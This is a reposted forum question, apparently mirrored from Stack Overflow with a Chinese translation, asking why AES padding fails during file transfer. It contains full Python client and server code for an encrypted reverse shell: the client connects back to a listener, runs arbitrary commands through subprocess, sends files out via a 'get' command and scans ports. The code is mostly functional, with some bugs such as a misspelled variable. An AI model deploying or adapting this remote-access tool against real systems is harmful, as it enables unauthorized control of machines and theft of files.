[英]AES encrypted File transfer over TCP - Padding Issue
我在使用 AES(传输函数)通过 TCP 反向 shell 传输文件时遇到问题,这样做时卡在填充问题上。 我尝试在网上寻找解决方案,但我似乎找不到有用的东西(或者我可能只是遗漏了一些东西......)
所有其他 function 似乎工作正常。
客户端
import os
import socket
import subprocess
import sys
from Cryptodome.Cipher import PKCS1_OAEP
from Cryptodome.PublicKey import RSA
from Cryptodome.Cipher import AES
from Cryptodome.Util import Padding
SERVER_IP = "ip"
PORT = 8080
IV = b"H" * 16
privatekey = privatekey
def AESFunc(data):
privateKeyAfterImport = RSA.importKey(privatekey)
decryptoMe = PKCS1_OAEP.new(privateKeyAfterImport)
return decryptoMe.decrypt(data).decode()
def encrypt(message):
encryptor = AES.new(AES_KEY, AES.MODE_CBC, IV)
padded_message = Padding.pad(message, 16)
encrypted_message = encryptor.encrypt(padded_message)
return encrypted_message
def decrypt(data):
decryptor = AES.new(AES_KEY, AES.MODE_CBC, IV)
decrypted_padded_message = decryptor.decrypt(data)
decrypted_message = Padding.unpad(decrypted_padded_message, 16)
return decrypted_message
def transfer(s, path):
if os.path.exists(path):
f = open(path, 'rb')
packet = f.read(1024)
while packet != '':
try:
s.send(encrypt(packet))
packet = f.read(1024)
except Exception as e:
print(e)
break
done = 'DONE'.encode()
s.send(encrypt(done))
f.close()
def scanner(s, ip, ports, scan_type):
if scan_type == 1:
for port in range(1, ports):
try:
sock = socket.socket()
output = sock.connect_ex((ip, int(port)))
scan_result = ''
if output == 0:
scan_result += f"[+] Port {port} is opened"
result = scan_result.encode()
s.send(encrypt(result))
sock.close()
except Exception as e:
pass
result = 'DONE'.encode()
s.send(encrypt(result))
else:
for port in ports.split(','):
try:
sock = socket.socket()
output = sock.connect_ex((ip, int(port)))
if ouhetput == 0:
scan_result = scan_result + f"[+] Port {port} is opened"
else:
scan_result = scan_result + f"[-] Port {port} is closed"
sock.close()
except Exception as e:
pass
result = scan_result.encode()
s.send(encrypt(result))
def connect():
s = socket.socket()
s.connect((SERVER_IP, PORT))
global AES_KEY
AES_KEY = s.recv(1024)
AES_KEY = AESFunc(AES_KEY)
AES_KEY = AES_KEY.encode()
#print(AES_KEY)
while True:
command = s.recv(1024)
command = decrypt(command)
command = command.decode()
#print(command)
if 'exit' in command:
s.close()
break
elif 'get' in command:
get, path = command.split(' ')
try:
transfer(s, path)
except:
result = str(e).encode()
s.send(encrypt(result))
pass
elif 'cd' in command:
try:
cwd = os.getcwd()
code, directory = command.split(' ')
os.chdir(directory)
result = ('[+] CWD is ' + os.getcwd()).encode()
s.send(encrypt(result))
except ValueError as e:
result = ("[!] Something wrong with specified directory".encode())
s.send(encrypt(result))
os.chdir(cwd)
except Exception as e:
result = ("[!] Something wrong with specified directory".encode())
s.send(encrypt(result))
elif 'scan' in command:
command = command[5:]
if ':' not in command:
ip = command
ports = 10
scanner(s, ip, ports, 1)
else:
ip, ports = command.split(':')
scanner(s, ip, ports, 0)
else:
CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
result_out = CMD.stdout.read()
result_err = CMD.stderr.read()
if result_err.decode() != "":
s.send(encrypt(result_err))
else:
s.send(encrypt(result_out))
def main():
connect()
main()
服务器端
import os
import socket
from Cryptodome.PublicKey import RSA
from Cryptodome.Cipher import PKCS1_OAEP
from Cryptodome.Cipher import AES
from Cryptodome.Util import Padding
import string
import random
TARGET_IP = '0.0.0.0'
PORT = 8080
server_user = user
publicKey = publickey
IV = b"H" * 16
key = ''.join(random.choice(string.ascii_lowercase + string.ascii_uppercase + string.digits + '^!\$%&/()=?{[]}+~#-_.:,;<>|\\') for i in range(0, 32))
def AESFunc(message):
publicKeyAfterImport = RSA.importKey(publicKey)
encryptoMe = PKCS1_OAEP.new(publicKeyAfterImport)
encryptedData = encryptoMe.encrypt(message)
return encryptedData
def encrypt(message):
encryptor = AES.new(key.encode(), AES.MODE_CBC, IV)
padded_message = Padding.pad(message, 16)
encrypted_message = encryptor.encrypt(padded_message)
return encrypted_message
def decrypt(data):
decryptor = AES.new(key.encode(), AES.MODE_CBC, IV)
decrypted_padded_message = decryptor.decrypt(data)
decrypted_message = Padding.unpad(decrypted_padded_message, 16)
return decrypted_message
def transfer(conn, command):
print(command)
send_command = encrypt(command.encode())
conn.send(send_command)
get, path = command.split(" ")
f = open(f'/home/{server_user}/Desktop/' + path, 'wb')
while True:
bits = conn.recv(1024)
try:
bits = decrypt(bits)
if bits.endswith('DONE'.encode()):
f.write(bits[:-4])
f.close()
print('[+] Transfer completed')
break
elif 'File not found'.encode() in bits:
print('[-] File not found')
break
f.write(bits)
except Exception as e:
print(e)
print("[-] unable to decrypt/receive data!")
break
def connect():
s = socket.socket()
s.bind((TARGET_IP, PORT))
s.listen(1)
print(f'[+] Listening for TCP connection on port {PORT}')
conn, addr = s.accept()
print('[+] We got a connection from', addr)
conn.send(AESFunc(key.encode()))
while True:
command = input("Shell> ")
if 'exit' in command:
exit = 'exit'.encode()
conn.send(exit)
break
elif 'get' in command:
transfer(conn, command)
elif command == "":
pass
elif ('scan' in command) and (':' not in command):
scan = command.encode()
conn.send(encrypt(scan))
print('Scanning target...')
while True:
bits = conn.recv(1024)
try:
bits = decrypt(bits)
if bits == ('DONE'.encode()):
break
else:
print(bits.decode())
except Exception as e:
print(e)
print("[-] unable to decrypt/receive data!")
elif 'help' in command:
print("""
Options:
help Show this message.
exit exits the scripts.
get download a file to the host.
""")
else:
command = encrypt(command.encode())
conn.send(command)
result = conn.recv(1024)
try:
print(decrypt(result).decode())
except Exception as e:
print(e)
print("[-] unable to decrypt/receive data!")
def main():
connect()
main()
传输文件时,我在服务器端遇到以下错误:
Padding is incorrect.
[-] unable to decrypt/receive data!
谢谢。
声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.